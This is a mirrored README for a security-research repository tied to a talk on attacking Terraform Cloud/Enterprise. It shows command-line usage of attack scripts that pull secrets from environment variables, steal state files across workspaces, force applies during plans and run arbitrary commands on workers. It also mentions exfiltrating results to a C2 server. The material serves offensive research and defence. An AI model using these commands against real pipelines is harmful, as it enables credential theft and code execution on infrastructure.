Code Monkey home page Code Monkey logo

terraform_attack_automation's Introduction

This repository contains scripts to demonstrate the vulnerabilities shown in our associated talk: Attacking and Defending Infrastructure with Terraform: How we got admin across cloud environments.

There are two scenarios where you can use these scripts:

  • When you don't have access to TFC/TFE, or you don't have a token, but you can create a PR to a github repository linked to TFC/TFE and speculative plans are run automatically.
  • When you can have access to a Terraform Cloud workspace and you have a valid token to do so.

Scenario 1: You can create a PR in a VCS linked with TFC/TFE

For this scenario use the script: PR_attack.py.

Note: You still needs access to TFC in order to read the output of the attacks. But they could also execute arbitrary commands and exfiltrate the results to a C2 they control.

Exfiltrate secrets

Access the secrets from the environment variables.

python3 PR_attack.py 
    --repo "[email protected]:CryptoExchangeCo/website.git" 
    --folder "dev" 
    --get_envs

Demo

Demo 1

Retrieve the state file

Get the state file for the current workspace.

python3 PR_attack.py 
    --repo "[email protected]:CryptoExchangeCo/website.git"
    --folder "dev"
    --get_state_file

Retrieve the state file for a different workspace

Get the state file for a different workspace in the same organization.

python3 PR_attack.py 
    --repo "[email protected]:CryptoExchangeCo/website.git" 
    --folder "dev" 
    --get_state_file_from_workspace "website_prod"

Demo

Demo 2

Apply on plan

It performs an apply on plan using a tf file as an input.

python3 PR_attack.py 
    --repo "[email protected]:CryptoExchangeCo/website.git" 
    --folder "dev" 
    --apply_on_plan "templates/s3_bucket.tf"

Demo

Demo 3

Execute arbitrary command

Execute an arbitrary command in the TF worker.

python3 PR_attack.py 
    --repo "[email protected]:CryptoExchangeCo/website.git" 
    --folder "dev" 
    --exec_command "id;env;hostname"

Scenario 2: Access to TFC/TFE

For this scenario use the script: TF_attack.py.

The usage is very similar to the previous scenario. To retrieving secrets from environment variables you will run:

python3 TF_attack.py 
    --hostname "app.terraform.io" 
    --organization "CryptoExchangeCo"
    --workspace "website_dev"
    --get_envs

terraform_attack_automation's People

Contributors

0ca avatar technologik avatar

Stargazers

Sarada S avatar  avatar Rami avatar Emil V avatar  avatar Shawn Banta avatar  avatar Ben avatar  avatar Rafael Netto avatar Christian Monaghan avatar Arkadiy Goykhberg avatar Peter C avatar

Watchers

 avatar  avatar

terraform_attack_automation's Issues

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.